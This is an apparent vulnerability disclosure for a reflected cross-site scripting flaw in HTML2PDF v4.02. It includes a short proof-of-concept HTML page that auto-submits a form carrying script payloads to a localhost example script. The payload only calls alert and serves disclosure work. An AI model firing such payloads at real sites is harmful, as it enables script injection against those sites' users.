<!------------------------------------------------------------------------ # Software................HTML2PDF v4.02 # Vulnerability...........Reflected Cross-site Scripting # Threat Level............Low (1/5) # Download................http://html2pdf.fr/ # Discovery Date..........5/12/2011 # Tested On...............Windows Vista + XAMPP # ------------------------------------------------------------------------ # Author..................AutoSec Tools # Site....................http://www.autosectools.com/ # Email...................John Leitch <john@autosectools.com> # ------------------------------------------------------------------------ # # # --Description-- # # A reflected cross-site scripting vulnerability in HTML2PDF v4.02 can # be exploited to execute arbitrary JavaScript. # # # --PoC--> <html> <body onload="document.forms[0].submit()"> <form method="POST" action="http://localhost/html2pdf_v4.02/examples/forms.php?vuehtml=0%3cScRiPt%3ealert(0)%3c%2fScRiPt%3e"> <input type="hidden" name="test" value="<script>alert(0)</script>" /> </form> </body> </html>